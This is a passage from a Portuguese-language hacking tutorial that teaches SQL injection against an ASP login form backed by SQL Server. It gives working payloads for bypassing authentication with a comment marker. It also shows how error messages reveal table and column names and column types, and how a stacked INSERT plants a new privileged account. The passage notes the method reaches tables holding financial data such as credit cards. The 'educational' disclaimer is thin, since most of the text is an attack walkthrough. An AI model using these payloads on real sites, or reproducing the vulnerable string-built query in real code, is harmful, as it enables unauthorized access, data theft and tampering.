Finalmente, vamos a prática...
Seria interessante que ao mesmo tempo em que você for lendo, ir também testando em algum site o que será dito adiante. É mais prudente montar um site em asp, com um acesso ao banco de dados em SQL Server próprio, para testar. É sempre válido lembrar que esta matéria é apenas para fins educacionais. J
Você está num site em asp, com acesso por SQL, que usa um campo de login e senha vistos por uma sql desse tipo:
SQL = "Select * from usuarios where username='" & user & "' and pass='" & pass & "'"
A sql é desse tipo, mas você como usuário normal do site não conseguiria saber disso.
No campo de usuário, se você colocar o conteúdo:
Usuário: admin' --
Senha: xyz
O que irá acontecer é que você irá entrar no site como se fosse o admin (levando em consideração que admin é o usuário real cadastrado no banco de dados como sendo o admin), mesmo sem saber a senha do admin, pois a senha agora será ignorada.
O caractere -- no final do campo especifica pro sql que daquele ponto em diante tudo é comentário, e a string do SQL final ficaria desse tipo:
SQL = "Select * from usuarios where username='admin' -- ' and senha='xyz'"
Ou seja, a verificação " ' and senha=..." virou um simples comentário dentro daquela string e não será processada pelo interpretador do sql. Dessa forma, você entrar simplesmente designando o username.
Creio que agora está entendido o uso do caractere de comentário. Vamos seguir em frente.
Caso você não saiba o nome de algum campo da tabela, ou até mesmo não saiba o nome de alguma tabela, podemos usar as mensagens de erro do SQL para poder conhecer mais sobre as tabelas do site. Façamos da seguinte forma no campo de usuário:
Usuário: ' having 1=1 --
Senha: xyz
O erro dado será parecido com o abaixo:
Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
[Microsoft][ODBC SQL Server Driver][SQL Server]Column "usuarios.CODIGO" is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/arquivo.asp, line 94
Agora, você já sabe o nome da tabela (usuarios) e o nome do primeiro campo (código) da consulta na tabela. Como foi usado *, este campo é o primeiro a ser retornado.
Se fosse usada uma string do tipo:
SQL = "select nome, login, senha, nivel, cpf from usuarios where ...."
O que ia ser retornado é usuarios.NOME, pois é o primeiro campo da pesquisa.
Se você agora montar uma outra string dentro do campo nome, irá saber o próximo campo da tabela:
Usuário: ' group by usuarios.codigo having 1=1 --
Senha: xyz
Isso irá produzir o seguinte erro:
Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
[Microsoft][ODBC SQL Server Driver][SQL Server]Column "usuarios.login" is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/arquivo.asp, line 94
Você agora pode ir gerando erros assim até saber todos os campos que serão retornados da string SQL.
Basta para isso dividir os campos com vírgula, assim:
Usuário: ' group by usuarios.codigo, usuarios.login having 1=1 --
Quando você não obter mais nenhuma mensagem de erro, significa que todos os campos já estão validados e constam na string. Nesse ponto, você já saberá todos os campos e a ordem que eles virão.
Agora é interessante saber o tipo de cada campo e, para isso, vamos obrigar o sql a gerar um novo erro:
Usuário: ' union select sum(login) from usuarios --
O erro aparece como:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/arquivo.asp, line 94
Isso informa que o campo login é do tipo varchar. Mas se por acaso a mensagem de erro vier da forma a seguir, é porque o campo em questão é do tipo numérico.
Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/arquivo.asp, line 94
Agora que você já sabe o nome da tabela, os nomes dos campos e seus respectivos tipos, vamos ao próximo passo, que é usar o caractere de "faz mais alguma coisa", o excelentíssimo ponto-e-vírgula.
Usuário: ' ; insert into usuarios (nome, login, senha, nivel, cpf ) values ( "Geek", "haxo", "p4ss", 1, "12345678900") --
Preciso explicar!? J Bem, isso faz uma inclusão na tabela usuários de um registro, o qual tem o username sendo haxo e a senha p4ss, o que permitiria a você ser um novo usuário do site, dessa vez devidamente registrado.
Obviamente, isso não se restringe a tabelas de usuários. Serve para qualquer tabela no site, como matérias, enquetes, colunas e até mesmo alguma tabela que guarde dados financeiros como cartões de crédito ou outras coisas.